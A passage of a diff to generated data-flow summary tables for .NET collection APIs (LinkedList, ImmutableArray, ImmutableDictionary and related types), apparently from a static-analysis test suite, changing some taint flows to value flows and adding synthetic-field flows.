System.Collections.Frozen;FrozenSet;ToFrozenSet;(System.Collections.Generic.IEnumerable,System.Collections.Generic.IEqualityComparer);Argument[0].Element;ReturnValue;taint;df-generated | +| System.Collections.Frozen;FrozenSet;ToFrozenSet;(System.Collections.Generic.IEnumerable,System.Collections.Generic.IEqualityComparer);Argument[0];ReturnValue;value;df-generated | | System.Collections.Frozen;FrozenSet+AlternateLookup;Contains;(TAlternate);Argument[0];Argument[this];taint;df-generated | | System.Collections.Frozen;FrozenSet+AlternateLookup;TryGetValue;(TAlternate,T);Argument[0];Argument[this];taint;df-generated | | System.Collections.Frozen;FrozenSet+AlternateLookup;TryGetValue;(TAlternate,T);Argument[this];Argument[1];taint;df-generated | @@ -5167,8 +5167,12 @@ | System.Collections.Generic;LinkedList+Enumerator;get_Current;();Argument[this].Property[System.Collections.Generic.LinkedList`1+Enumerator.Current];ReturnValue;value;dfc-generated | | System.Collections.Generic;LinkedList+Enumerator;get_Current;();Argument[this];ReturnValue;taint;df-generated | | System.Collections.Generic;LinkedList+Enumerator;get_Current;();Argument[this];ReturnValue;taint;dfc-generated | +| System.Collections.Generic;LinkedList;AddAfter;(System.Collections.Generic.LinkedListNode,System.Collections.Generic.LinkedListNode);Argument[0].SyntheticField[System.Collections.Generic.LinkedListNode`1.next].SyntheticField[System.Collections.Generic.LinkedListNode`1.prev];Argument[1].SyntheticField[System.Collections.Generic.LinkedListNode`1.prev];value;dfc-generated | | System.Collections.Generic;LinkedList;AddAfter;(System.Collections.Generic.LinkedListNode,System.Collections.Generic.LinkedListNode);Argument[0].SyntheticField[System.Collections.Generic.LinkedListNode`1.next];Argument[1].SyntheticField[System.Collections.Generic.LinkedListNode`1.next];value;dfc-generated | +| System.Collections.Generic;LinkedList;AddAfter;(System.Collections.Generic.LinkedListNode,System.Collections.Generic.LinkedListNode);Argument[1];Argument[0].SyntheticField[System.Collections.Generic.LinkedListNode`1.next].SyntheticField[System.Collections.Generic.LinkedListNode`1.prev];value;dfc-generated | +| System.Collections.Generic;LinkedList;AddAfter;(System.Collections.Generic.LinkedListNode,T);Argument[0].SyntheticField[System.Collections.Generic.LinkedListNode`1.next].SyntheticField[System.Collections.Generic.LinkedListNode`1.prev];ReturnValue.SyntheticField[System.Collections.Generic.LinkedListNode`1.prev];value;dfc-generated | | System.Collections.Generic;LinkedList;AddAfter;(System.Collections.Generic.LinkedListNode,T);Argument[0].SyntheticField[System.Collections.Generic.LinkedListNode`1.next];ReturnValue.SyntheticField[System.Collections.Generic.LinkedListNode`1.next];value;dfc-generated | +| System.Collections.Generic;LinkedList;AddBefore;(System.Collections.Generic.LinkedListNode,System.Collections.Generic.LinkedListNode);Argument[1];Argument[0].SyntheticField[System.Collections.Generic.LinkedListNode`1.prev];value;dfc-generated | | System.Collections.Generic;LinkedList;AddBefore;(System.Collections.Generic.LinkedListNode,System.Collections.Generic.LinkedListNode);Argument[1];Argument[this].SyntheticField[System.Collections.Generic.LinkedList`1.head];value;dfc-generated | | System.Collections.Generic;LinkedList;AddBefore;(System.Collections.Generic.LinkedListNode,T);Argument[0];Argument[this];taint;df-generated | | System.Collections.Generic;LinkedList;AddBefore;(System.Collections.Generic.LinkedListNode,T);Argument[0];ReturnValue;taint;df-generated | @@ -5180,6 +5184,7 @@ | System.Collections.Generic;LinkedList;AddFirst;(T);Argument[0];Argument[this];taint;df-generated | | System.Collections.Generic;LinkedList;AddFirst;(T);Argument[0];ReturnValue;taint;df-generated | | System.Collections.Generic;LinkedList;AddFirst;(T);Argument[this];ReturnValue;taint;df-generated | +| System.Collections.Generic;LinkedList;AddLast;(System.Collections.Generic.LinkedListNode);Argument[this].SyntheticField[System.Collections.Generic.LinkedList`1.head].SyntheticField[System.Collections.Generic.LinkedListNode`1.prev];Argument[0].SyntheticField[System.Collections.Generic.LinkedListNode`1.prev];value;dfc-generated | | System.Collections.Generic;LinkedList;AddLast;(System.Collections.Generic.LinkedListNode);Argument[this].SyntheticField[System.Collections.Generic.LinkedList`1.head];Argument[0].SyntheticField[System.Collections.Generic.LinkedListNode`1.next];value;dfc-generated | | System.Collections.Generic;LinkedList;AddLast;(T);Argument[0];Argument[this];taint;df-generated | | System.Collections.Generic;LinkedList;AddLast;(T);Argument[0];ReturnValue;taint;df-generated | @@ -5190,8 +5195,9 @@ | System.Collections.Generic;LinkedList;LinkedList;(System.Collections.Generic.IEnumerable);Argument[0].Element;Argument[this];taint;df-generated | | System.Collections.Generic;LinkedList;LinkedList;(System.Runtime.Serialization.SerializationInfo,System.Runtime.Serialization.StreamingContext);Argument[0];Argument[this];taint;df-generated | | System.Collections.Generic;LinkedList;Remove;(System.Collections.Generic.LinkedListNode);Argument[0].SyntheticField[System.Collections.Generic.LinkedListNode`1.next];Argument[this].SyntheticField[System.Collections.Generic.LinkedList`1.head];value;dfc-generated | +| System.Collections.Generic;LinkedList;Remove;(System.Collections.Generic.LinkedListNode);Argument[0].SyntheticField[System.Collections.Generic.LinkedListNode`1.prev];Argument[this].SyntheticField[System.Collections.Generic.LinkedList`1.head].SyntheticField[System.Collections.Generic.LinkedListNode`1.prev];value;dfc-generated | | System.Collections.Generic;LinkedList;get_First;();Argument[this].SyntheticField[System.Collections.Generic.LinkedList`1.head];ReturnValue;value;dfc-generated | -| System.Collections.Generic;LinkedList;get_Last;();Argument[this];ReturnValue;taint;df-generated | +| System.Collections.Generic;LinkedList;get_Last;();Argument[this].SyntheticField[System.Collections.Generic.LinkedList`1.head].SyntheticField[System.Collections.Generic.LinkedListNode`1.prev];ReturnValue;value;dfc-generated | | System.Collections.Generic;LinkedListNode;LinkedListNode;(T);Argument[0];Argument[this];taint;df-generated | | System.Collections.Generic;LinkedListNode;get_List;();Argument[this];ReturnValue;taint;df-generated | | System.Collections.Generic;LinkedListNode;get_Next;();Argument[this];ReturnValue;taint;df-generated | @@ -5511,13 +5517,13 @@ | System.Collections.Immutable;ImmutableArray;Slice;(System.Int32,System.Int32);Argument[this];ReturnValue;value;dfc-generated | | System.Collections.Immutable;ImmutableArray;Sort;();Argument[this];ReturnValue;value;dfc-generated | | System.Collections.Immutable;ImmutableArray;Sort;(System.Collections.Generic.IComparer);Argument[this];Argument[0];taint;df-generated | -| System.Collections.Immutable;ImmutableArray;Sort;(System.Collections.Generic.IComparer);Argument[this];ReturnValue;taint;df-generated | +| System.Collections.Immutable;ImmutableArray;Sort;(System.Collections.Generic.IComparer);Argument[this];ReturnValue;value;df-generated | | System.Collections.Immutable;ImmutableArray;Sort;(System.Comparison);Argument[0];Argument[0].Parameter[delegate-self];value;dfc-generated | | System.Collections.Immutable;ImmutableArray;Sort;(System.Comparison);Argument[0];Argument[0].Parameter[delegate-self];value;hq-generated | | System.Collections.Immutable;ImmutableArray;Sort;(System.Comparison);Argument[this];ReturnValue;value;dfc-generated | | System.Collections.Immutable;ImmutableArray;Sort;(System.Comparison);Argument[this];ReturnValue;value;hq-generated | | System.Collections.Immutable;ImmutableArray;Sort;(System.Int32,System.Int32,System.Collections.Generic.IComparer);Argument[this];Argument[2];taint;df-generated | -| System.Collections.Immutable;ImmutableArray;Sort;(System.Int32,System.Int32,System.Collections.Generic.IComparer);Argument[this];ReturnValue;taint;df-generated | +| System.Collections.Immutable;ImmutableArray;Sort;(System.Int32,System.Int32,System.Collections.Generic.IComparer);Argument[this];ReturnValue;value;df-generated | | System.Collections.Immutable;ImmutableArray;ToBuilder;();Argument[this].Element;ReturnValue.Element;value;dfc-generated | | System.Collections.Immutable;ImmutableArray;get_Item;(System.Int32);Argument[this].SyntheticField[System.Collections.Immutable.ImmutableArray`1.array].Element;ReturnValue;value;dfc-generated | | System.Collections.Immutable;ImmutableDictionary;Create;(System.Collections.Generic.IEqualityComparer);Argument[0];ReturnValue;taint;df-generated | @@ -5600,13 +5606,16 @@ | System.Collections.Immutable;ImmutableDictionary;AddRange;(System.Collections.Generic.IEnumerable>);Argument[0].Element;Argument[this].Element;value;manual | | System.Collections.Immutable;ImmutableDictionary;Clear;();Argument[this];ReturnValue;value;dfc-generated | | System.Collections.Immutable;ImmutableDictionary;GetEnumerator;();Argument[this].Element;ReturnValue.Property[System.Collections.Immutable.ImmutableDictionary`2+Enumerator.Current];value;manual | -| System.Collections.Immutable;ImmutableDictionary;Remove;(TKey);Argument[this];ReturnValue;taint;df-generated | -| System.Collections.Immutable;ImmutableDictionary;RemoveRange;(System.Collections.Generic.IEnumerable);Argument[this];ReturnValue;taint;df-generated | -| System.Collections.Immutable;ImmutableDictionary;SetItem;(TKey,TValue);Argument[this];ReturnValue;taint;df-generated | -| System.Collections.Immutable;ImmutableDictionary;SetItems;(System.Collections.Generic.IEnumerable>);Argument[this];ReturnValue;taint;df-generated | +| System.Collections.Immutable;ImmutableDictionary;Remove;(TKey);Argument[this];ReturnValue;value;df-generated | +| System.Collections.Immutable;ImmutableDictionary;RemoveRange;(System.Collections.Generic.IEnumerable);Argument[this];ReturnValue;value;df-generated | +| System.Collections.Immutable;ImmutableDictionary;SetItem;(TKey,TValue);Argument[this];ReturnValue;value;df-generated | +| System.Collections.Immutable;ImmutableDictionary;SetItems;(System.Collections.Generic.IEnumerable>);Argument[this];ReturnValue;value;df-generated | | System.Collections.Immutable;ImmutableDictionary;ToBuilder;();Argument[this];ReturnValue;taint;df-generated | | System.Collections.Immutable;ImmutableDictionary;TryGetKey;(TKey,TKey);Argument[0];Argument[1];value;dfc-generated | +| System.Collections.Immutable;ImmutableDictionary;WithComparers;(System.Collections.Generic.IEqualityComparer);Argument[0];ReturnValue.SyntheticField[System.Collections.Immutable.ImmutableDictionary`2._comparers].SyntheticField[System.Collections.Immutable.ImmutableDictionary`2+Comparers._keyComparer];value;df-generated | | System.Collections.Immutable;ImmutableDictionary;WithComparers;(System.Collections.Generic.IEqualityComparer);Argument[0];ReturnValue.SyntheticField[System.Collections.Immutable.ImmutableDictionary`2._comparers].SyntheticField[System.Collections.Immutable.ImmutableDictionary`2+Comparers._keyComparer];value;dfc-generated | +| System.Collections.Immutable;ImmutableDictionary;WithComparers;(System.Collections.Generic.IEqualityComparer);Argument[this];ReturnValue;value;df-generated | +| System.Collections.Immutable;ImmutableDictionary;WithComparers;(System.Collections.Generic.IEqualityComparer);Argument[this];ReturnValue;value;dfc-generated | | System.Collections.Immutable;ImmutableDictionary;WithComparers;(System.Collections.Generic.IEqualityComparer,System.Collections.Generic.IEqualityComparer);Argument[0];ReturnValue.SyntheticField[System.Collections.Immutable.ImmutableDictionary`2._comparers].SyntheticField[System.Collections.Immutable.ImmutableDictionary`2+Comparers._keyComparer];value;dfc-generated | | System.Collections.Immutable;ImmutableDictionary;WithComparers;(System.Collections.Generic.IEqualityComparer,System.Collections.Generic.IEqualityComparer);Argument[1];ReturnValue.SyntheticField[System.Collections.Immutable.ImmutableDictionary`2._comparers].SyntheticField[System.Collections.Immutable.ImmutableDictionary`2+Comparers._valueComparer];value;dfc-generated | | System.Collections.Immutable;ImmutableDictionary;WithComparers;(System.Collections.Generic.IEqualityComparer,System.Collections.Generic.IEqualityComparer);Argument[this];ReturnValue;value;dfc-generated | @@ -5634,14 +5643,17 @@ | System.Collections.Immutable;ImmutableHashSet+Enumerator;get_Current;();Argument[this];ReturnValue;taint;dfc-generated | | System.Collections.Immutable;ImmutableHashSet;Add;(T);Argument[0];Argument[this].Element;value;manual | | System.Collections.Immutable;ImmutableHashSet;Clear;();Argument[this].WithoutElement;ReturnValue;value;manual | -| System.Collections.Immutable;ImmutableHashSet;Except;(System.Collections.Generic.IEnumerable);Argument[this];ReturnValue;taint;df-generated | +| System.Collections.Immutable;ImmutableHashSet;Except;(System.Collections.Generic.IEnumerable);Argument[this];ReturnValue;value;df-generated | | System.Collections.Immutable;ImmutableHashSet;GetEnumerator;();Argument[this].Element;ReturnValue.Property[System.Collections.Immutable.ImmutableHashSet`1+Enumerator.Current];value;manual | | System.Collections.Immutable;ImmutableHashSet;Intersect;(System.Collections.Generic.IEnumerable);Argument[this];ReturnValue;value;dfc-generated | -| System.Collections.Immutable;ImmutableHashSet;Remove;(T);Argument[this];ReturnValue;taint;df-generated | +| System.Collections.Immutable;ImmutableHashSet;Remove;(T);Argument[this];ReturnValue;value;df-generated | | System.Collections.Immutable;ImmutableHashSet;SymmetricExcept;(System.Collections.Generic.IEnumerable);Argument[this];ReturnValue;value;dfc-generated | | System.Collections.Immutable;ImmutableHashSet;ToBuilder;();Argument[this];ReturnValue;taint;df-generated | | System.Collections.Immutable;ImmutableHashSet;TryGetValue;(T,T);Argument[0];Argument[1];value;dfc-generated | +| System.Collections.Immutable;ImmutableHashSet;Union;(System.Collections.Generic.IEnumerable);Argument[0];ReturnValue;value;df-generated | | System.Collections.Immutable;ImmutableHashSet;Union;(System.Collections.Generic.IEnumerable);Argument[0];ReturnValue;value;dfc-generated | +| System.Collections.Immutable;ImmutableHashSet;Union;(System.Collections.Generic.IEnumerable);Argument[this];ReturnValue;value;df-generated | +| System.Collections.Immutable;ImmutableHashSet;Union;(System.Collections.Generic.IEnumerable);Argument[this];ReturnValue;value;dfc-generated | | System.Collections.Immutable;ImmutableHashSet;WithComparer;(System.Collections.Generic.IEqualityComparer);Argument[this];ReturnValue;value;dfc-generated | | System.Collections.Immutable;ImmutableHashSet;get_KeyComparer;();Argument[this];ReturnValue;taint;df-generated | | System.Collections.Immutable;ImmutableInterlocked;AddOrUpdate;(System.Collections.Immutable.ImmutableDictionary,TKey,System.Func,System.Func);Argument[1];Argument[2].Parameter[0];value;dfc-generated | @@ -5692,17 +5704,17 @@ | System.Collections.Immutable;ImmutableList;Create;(System.ReadOnlySpan);Argument[0];ReturnValue;taint;df-generated | | System.Collections.Immutable;ImmutableList;Create;(T);Argument[0];ReturnValue;taint;df-generated | | System.Collections.Immutable;ImmutableList;Create;(T[]);Argument[0].Element;ReturnValue;taint;df-generated | -| System.Collections.Immutable;ImmutableList;CreateRange;(System.Collections.Generic.IEnumerable);Argument[0].Element;ReturnValue;taint;df-generated | +| System.Collections.Immutable;ImmutableList;CreateRange;(System.Collections.Generic.IEnumerable);Argument[0];ReturnValue;value;df-generated | | System.Collections.Immutable;ImmutableList;IndexOf;(System.Collections.Immutable.IImmutableList,T,System.Collections.Generic.IEqualityComparer);Argument[0].Element;Argument[2];taint;df-generated | | System.Collections.Immutable;ImmutableList;IndexOf;(System.Collections.Immutable.IImmutableList,T,System.Collections.Generic.IEqualityComparer);Argument[1];Argument[2];taint;df-generated | | System.Collections.Immutable;ImmutableList;LastIndexOf;(System.Collections.Immutable.IImmutableList,T,System.Collections.Generic.IEqualityComparer);Argument[0].Element;Argument[2];taint;df-generated | | System.Collections.Immutable;ImmutableList;LastIndexOf;(System.Collections.Immutable.IImmutableList,T,System.Collections.Generic.IEqualityComparer);Argument[1];Argument[2];taint;df-generated | -| System.Collections.Immutable;ImmutableList;Remove;(System.Collections.Immutable.IImmutableList,T);Argument[0].Element;ReturnValue;taint;df-generated | -| System.Collections.Immutable;ImmutableList;RemoveRange;(System.Collections.Immutable.IImmutableList,System.Collections.Generic.IEnumerable);Argument[0].Element;ReturnValue;taint;df-generated | -| System.Collections.Immutable;ImmutableList;Replace;(System.Collections.Immutable.IImmutableList,T,T);Argument[0].Element;ReturnValue;taint;df-generated | +| System.Collections.Immutable;ImmutableList;Remove;(System.Collections.Immutable.IImmutableList,T);Argument[0];ReturnValue;value;df-generated | +| System.Collections.Immutable;ImmutableList;RemoveRange;(System.Collections.Immutable.IImmutableList,System.Collections.Generic.IEnumerable);Argument[0];ReturnValue;value;df-generated | +| System.Collections.Immutable;ImmutableList;Replace;(System.Collections.Immutable.IImmutableList,T,T);Argument[0];ReturnValue;value;df-generated | | System.Collections.Immutable;ImmutableList;Replace;(System.Collections.Immutable.IImmutableList,T,T);Argument[2];Argument[0].Element;taint;df-generated | | System.Collections.Immutable;ImmutableList;Replace;(System.Collections.Immutable.IImmutableList,T,T);Argument[2];ReturnValue;taint;df-generated | -| System.Collections.Immutable;ImmutableList;ToImmutableList;(System.Collections.Generic.IEnumerable);Argument[0].Element;ReturnValue;taint;df-generated | +| System.Collections.Immutable;ImmutableList;ToImmutableList;(System.Collections.Generic.IEnumerable);Argument[0];ReturnValue;value;df-generated | | System.Collections.Immutable;ImmutableList+Builder;AddRange;(System.Collections.Generic.IEnumerable);Argument[0].Element;Argument[this].Element;value;manual | | System.Collections.Immutable;ImmutableList+Builder;BinarySearch;(System.Int32,System.Int32,T,System.Collections.Generic.IComparer);Argument[2];Argument[3];taint;df-generated | | System.Collections.Immutable;ImmutableList+Builder;BinarySearch;(System.Int32,System.Int32,T,System.Collections.Generic.IComparer);Argument[this];Argument[3];taint;df-generated | @@ -5780,27 +5792,26 @@ | System.Collections.Immutable;ImmutableList;Insert;(System.Int32,T);Argument[1];Argument[this].Element;value;manual | | System.Collections.Immutable;ImmutableList;InsertRange;(System.Int32,System.Collections.Generic.IEnumerable);Argument[1].Element;Argument[this].Element;value;manual | | System.Collections.Immutable;ImmutableList;LastIndexOf;(T,System.Int32,System.Int32,System.Collections.Generic.IEqualityComparer);Argument[0];Argument[3];taint;df-generated | -| System.Collections.Immutable;ImmutableList;Remove;(T);Argument[this];ReturnValue;taint;df-generated | +| System.Collections.Immutable;ImmutableList;Remove;(T);Argument[this];ReturnValue;value;df-generated | | System.Collections.Immutable;ImmutableList;Remove;(T,System.Collections.Generic.IEqualityComparer);Argument[0];Argument[1];taint;df-generated | -| System.Collections.Immutable;ImmutableList;Remove;(T,System.Collections.Generic.IEqualityComparer);Argument[this];ReturnValue;taint;df-generated | +| System.Collections.Immutable;ImmutableList;Remove;(T,System.Collections.Generic.IEqualityComparer);Argument[this];ReturnValue;value;df-generated | | System.Collections.Immutable;ImmutableList;RemoveAll;(System.Predicate);Argument[0];Argument[0].Parameter[delegate-self];value;hq-generated | -| System.Collections.Immutable;ImmutableList;RemoveAt;(System.Int32);Argument[this];ReturnValue;taint;df-generated | -| System.Collections.Immutable;ImmutableList;RemoveRange;(System.Collections.Generic.IEnumerable);Argument[this];ReturnValue;taint;df-generated | -| System.Collections.Immutable;ImmutableList;RemoveRange;(System.Collections.Generic.IEnumerable,System.Collections.Generic.IEqualityComparer);Argument[this];ReturnValue;taint;df-generated | +| System.Collections.Immutable;ImmutableList;RemoveAt;(System.Int32);Argument[this];ReturnValue;value;df-generated | +| System.Collections.Immutable;ImmutableList;RemoveRange;(System.Collections.Generic.IEnumerable);Argument[this];ReturnValue;value;df-generated | | System.Collections.Immutable;ImmutableList;RemoveRange;(System.Collections.Generic.IEnumerable,System.Collections.Generic.IEqualityComparer);Argument[this];ReturnValue;value;df-generated | -| System.Collections.Immutable;ImmutableList;RemoveRange;(System.Int32,System.Int32);Argument[this];ReturnValue;taint;df-generated | +| System.Collections.Immutable;ImmutableList;RemoveRange;(System.Int32,System.Int32);Argument[this];ReturnValue;value;df-generated | | System.Collections.Immutable;ImmutableList;Replace;(T,T);Argument[1];Argument[this];taint;df-generated | | System.Collections.Immutable;ImmutableList;Replace;(T,T);Argument[1];ReturnValue;taint;df-generated | -| System.Collections.Immutable;ImmutableList;Replace;(T,T);Argument[this];ReturnValue;taint;df-generated | +| System.Collections.Immutable;ImmutableList;Replace;(T,T);Argument[this];ReturnValue;value;df-generated | | System.Collections.Immutable;ImmutableList;Replace;(T,T,System.Collections.Generic.IEqualityComparer);Argument[0];Argument[2];taint;df-generated | | System.Collections.Immutable;ImmutableList;Replace;(T,T,System.Collections.Generic.IEqualityComparer);Argument[1];Argument[this];taint;df-generated | | System.Collections.Immutable;ImmutableList;Replace;(T,T,System.Collections.Generic.IEqualityComparer);Argument[1];ReturnValue;taint;df-generated | -| System.Collections.Immutable;ImmutableList;Replace;(T,T,System.Collections.Generic.IEqualityComparer);Argument[this];ReturnValue;taint;df-generated | +| System.Collections.Immutable;ImmutableList;Replace;(T,T,System.Collections.Generic.IEqualityComparer);Argument[this];ReturnValue;value;df-generated | | System.Collections.Immutable;ImmutableList;Reverse;();Argument[this].Element;ReturnValue.Element;value;manual | | System.Collections.Immutable;ImmutableList;Reverse;(System.Int32,System.Int32);Argument[this].Element;ReturnValue.Element;value;manual | | System.Collections.Immutable;ImmutableList;SetItem;(System.Int32,T);Argument[1];Argument[this];taint;df-generated | | System.Collections.Immutable;ImmutableList;SetItem;(System.Int32,T);Argument[1];ReturnValue;taint;df-generated | -| System.Collections.Immutable;ImmutableList;SetItem;(System.Int32,T);Argument[this];ReturnValue;taint;df-generated | +| System.Collections.Immutable;ImmutableList;SetItem;(System.Int32,T);Argument[this];ReturnValue;value;df-generated | | System.Collections.Immutable;ImmutableList;Sort;();Argument[this];ReturnValue;value;dfc-generated | | System.Collections.Immutable;ImmutableList;Sort;(System.Collections.Generic.IComparer);Argument[this];ReturnValue;value;dfc-generated | | System.Collections.Immutable;ImmutableList;Sort;(System.Comparison);Argument[0];Argument[0].Parameter[delegate-self];value;dfc-generated | @@ -5831,15 +5842,15 @@ | System.Collections.Immutable;ImmutableSortedDictionary;CreateBuilder;(System.Collections.Generic.IComparer,System.Collections.Generic.IEqualityComparer);Argument[0];ReturnValue;taint;df-generated | | System.Collections.Immutable;ImmutableSortedDictionary;CreateBuilder;(System.Collections.Generic.IComparer,System.Collections.Generic.IEqualityComparer);Argument[1];ReturnValue;taint;df-generated | | System.Collections.Immutable;ImmutableSortedDictionary;CreateRange;(System.Collections.Generic.IComparer,System.Collections.Generic.IEnumerable>);Argument[0];ReturnValue;taint;df-generated | -| System.Collections.Immutable;ImmutableSortedDictionary;CreateRange;(System.Collections.Generic.IComparer,System.Collections.Generic.IEnumerable>);Argument[1].Element;ReturnValue;taint;df-generated | +| System.Collections.Immutable;ImmutableSortedDictionary;CreateRange;(System.Collections.Generic.IComparer,System.Collections.Generic.IEnumerable>);Argument[1];ReturnValue;value;df-generated | | System.Collections.Immutable;ImmutableSortedDictionary;CreateRange;(System.Collections.Generic.IComparer,System.Collections.Generic.IEqualityComparer,System.Collections.Generic.IEnumerable>);Argument[0];ReturnValue;taint;df-generated | | System.Collections.Immutable;ImmutableSortedDictionary;CreateRange;(System.Collections.Generic.IComparer,System.Collections.Generic.IEqualityComparer,System.Collections.Generic.IEnumerable>);Argument[1];ReturnValue;taint;df-generated | -| System.Collections.Immutable;ImmutableSortedDictionary;CreateRange;(System.Collections.Generic.IComparer,System.Collections.Generic.IEqualityComparer,System.Collections.Generic.IEnumerable>);Argument[2].Element;ReturnValue;taint;df-generated | -| System.Collections.Immutable;ImmutableSortedDictionary;CreateRange;(System.Collections.Generic.IEnumerable>);Argument[0].Element;ReturnValue;taint;df-generated | -| System.Collections.Immutable;ImmutableSortedDictionary;ToImmutableSortedDictionary;(System.Collections.Generic.IEnumerable>);Argument[0].Element;ReturnValue;taint;df-generated | -| System.Collections.Immutable;ImmutableSortedDictionary;ToImmutableSortedDictionary;(System.Collections.Generic.IEnumerable>,System.Collections.Generic.IComparer);Argument[0].Element;ReturnValue;taint;df-generated | +| System.Collections.Immutable;ImmutableSortedDictionary;CreateRange;(System.Collections.Generic.IComparer,System.Collections.Generic.IEqualityComparer,System.Collections.Generic.IEnumerable>);Argument[2];ReturnValue;value;df-generated | +| System.Collections.Immutable;ImmutableSortedDictionary;CreateRange;(System.Collections.Generic.IEnumerable>);Argument[0];ReturnValue;value;df-generated | +| System.Collections.Immutable;ImmutableSortedDictionary;ToImmutableSortedDictionary;(System.Collections.Generic.IEnumerable>);Argument[0];ReturnValue;value;df-generated | +| System.Collections.Immutable;ImmutableSortedDictionary;ToImmutableSortedDictionary;(System.Collections.Generic.IEnumerable>,System.Collections.Generic.IComparer);Argument[0];ReturnValue;value;df-generated | | System.Collections.Immutable;ImmutableSortedDictionary;ToImmutableSortedDictionary;(System.Collections.Generic.IEnumerable>,System.Collections.Generic.IComparer);Argument[1];ReturnValue;taint;df-generated | -| System.Collections.Immutable;ImmutableSortedDictionary;ToImmutableSortedDictionary;(System.Collections.Generic.IEnumerable>,System.Collections.Generic.IComparer,System.Collections.Generic.IEqualityComparer);Argument[0].Element;ReturnValue;taint;df-generated | +| System.Collections.Immutable;ImmutableSortedDictionary;ToImmutableSortedDictionary;(System.Collections.Generic.IEnumerable>,System.Collections.Generic.IComparer,System.Collections.Generic.IEqualityComparer);Argument[0];ReturnValue;value;df-generated | | System.Collections.Immutable;ImmutableSortedDictionary;ToImmutableSortedDictionary;(System.Collections.Generic.IEnumerable>,System.Collections.Generic.IComparer,System.Collections.Generic.IEqualityComparer);Argument[1];ReturnValue;taint;df-generated | | System.Collections.Immutable;ImmutableSortedDictionary;ToImmutableSortedDictionary;(System.Collections.Generic.IEnumerable>,System.Collections.Generic.IComparer,System.Collections.Generic.IEqualityComparer);Argument[2];ReturnValue;taint;df-generated | | System.Collections.Immutable;ImmutableSortedDictionary;ToImmutableSortedDictionary;(System.Collections.Generic.IEnumerable,System.Func,System.Func);Argument[0].Element;Argument[1].Parameter[0];value;dfc-generated | @@ -5896,17 +5907,27 @@ | System.Collections.Immutable;ImmutableSortedDictionary;Clear;();Argument[this].SyntheticField[System.Collections.Immutable.ImmutableSortedDictionary`2._valueComparer];ReturnValue.SyntheticField[System.Collections.Immutable.ImmutableSortedDictionary`2._valueComparer];value;dfc-generated | | System.Collections.Immutable;ImmutableSortedDictionary;Clear;();Argument[this];ReturnValue;value;dfc-generated | | System.Collections.Immutable;ImmutableSortedDictionary;GetEnumerator;();Argument[this].Element;ReturnValue.Property[System.Collections.Immutable.ImmutableSortedDictionary`2+Enumerator.Current];value;manual | -| System.Collections.Immutable;ImmutableSortedDictionary;Remove;(TKey);Argument[this];ReturnValue;taint;df-generated | -| System.Collections.Immutable;ImmutableSortedDictionary;RemoveRange;(System.Collections.Generic.IEnumerable);Argument[this];ReturnValue;taint;df-generated | +| System.Collections.Immutable;ImmutableSortedDictionary;Remove;(TKey);Argument[this];ReturnValue;value;df-generated | +| System.Collections.Immutable;ImmutableSortedDictionary;RemoveRange;(System.Collections.Generic.IEnumerable);Argument[this];ReturnValue;value;df-generated | +| System.Collections.Immutable;ImmutableSortedDictionary;SetItem;(TKey,TValue);Argument[0];ReturnValue.SyntheticField[System.Collections.Immutable.ImmutableSortedDictionary`2._root].SyntheticField[System.Collections.Immutable.ImmutableSortedDictionary`2+Node._key];value;df-generated | | System.Collections.Immutable;ImmutableSortedDictionary;SetItem;(TKey,TValue);Argument[0];ReturnValue.SyntheticField[System.Collections.Immutable.ImmutableSortedDictionary`2._root].SyntheticField[System.Collections.Immutable.ImmutableSortedDictionary`2+Node._key];value;dfc-generated | -| System.Collections.Immutable;ImmutableSortedDictionary;SetItems;(System.Collections.Generic.IEnumerable>);Argument[0].Element;ReturnValue;taint;df-generated | -| System.Collections.Immutable;ImmutableSortedDictionary;SetItems;(System.Collections.Generic.IEnumerable>);Argument[this];ReturnValue;taint;df-generated | +| System.Collections.Immutable;ImmutableSortedDictionary;SetItem;(TKey,TValue);Argument[this];ReturnValue;value;df-generated | +| System.Collections.Immutable;ImmutableSortedDictionary;SetItem;(TKey,TValue);Argument[this];ReturnValue;value;dfc-generated | +| System.Collections.Immutable;ImmutableSortedDictionary;SetItems;(System.Collections.Generic.IEnumerable>);Argument[0];ReturnValue;value;df-generated | +| System.Collections.Immutable;ImmutableSortedDictionary;SetItems;(System.Collections.Generic.IEnumerable>);Argument[this];ReturnValue;value;df-generated | | System.Collections.Immutable;ImmutableSortedDictionary;ToBuilder;();Argument[this];ReturnValue;taint;df-generated | | System.Collections.Immutable;ImmutableSortedDictionary;TryGetKey;(TKey,TKey);Argument[0];Argument[1];value;dfc-generated | | System.Collections.Immutable;ImmutableSortedDictionary;TryGetKey;(TKey,TKey);Argument[this].SyntheticField[System.Collections.Immutable.ImmutableSortedDictionary`2._root].SyntheticField[System.Collections.Immutable.ImmutableSortedDictionary`2+Node._key];Argument[1];value;dfc-generated | +| System.Collections.Immutable;ImmutableSortedDictionary;WithComparers;(System.Collections.Generic.IComparer);Argument[0];ReturnValue.SyntheticField[System.Collections.Immutable.ImmutableSortedDictionary`2._keyComparer];value;df-generated | | System.Collections.Immutable;ImmutableSortedDictionary;WithComparers;(System.Collections.Generic.IComparer);Argument[0];ReturnValue.SyntheticField[System.Collections.Immutable.ImmutableSortedDictionary`2._keyComparer];value;dfc-generated | +| System.Collections.Immutable;ImmutableSortedDictionary;WithComparers;(System.Collections.Generic.IComparer);Argument[this];ReturnValue;value;df-generated | +| System.Collections.Immutable;ImmutableSortedDictionary;WithComparers;(System.Collections.Generic.IComparer);Argument[this];ReturnValue;value;dfc-generated | +| System.Collections.Immutable;ImmutableSortedDictionary;WithComparers;(System.Collections.Generic.IComparer,System.Collections.Generic.IEqualityComparer);Argument[0];ReturnValue.SyntheticField[System.Collections.Immutable.ImmutableSortedDictionary`2._keyComparer];value;df-generated | | System.Collections.Immutable;ImmutableSortedDictionary;WithComparers;(System.Collections.Generic.IComparer,System.Collections.Generic.IEqualityComparer);Argument[0];ReturnValue.SyntheticField[System.Collections.Immutable.ImmutableSortedDictionary`2._keyComparer];value;dfc-generated | +| System.Collections.Immutable;ImmutableSortedDictionary;WithComparers;(System.Collections.Generic.IComparer,System.Collections.Generic.IEqualityComparer);Argument[1];ReturnValue.SyntheticField[System.Collections.Immutable.ImmutableSortedDictionary`2._valueComparer];value;df-generated | | System.Collections.Immutable;ImmutableSortedDictionary;WithComparers;(System.Collections.Generic.IComparer,System.Collections.Generic.IEqualityComparer);Argument[1];ReturnValue.SyntheticField[System.Collections.Immutable.ImmutableSortedDictionary`2._valueComparer];value;dfc-generated | +| System.Collections.Immutable;ImmutableSortedDictionary;WithComparers;(System.Collections.Generic.IComparer,System.Collections.Generic.IEqualityComparer);Argument[this];ReturnValue;value;df-generated | +| 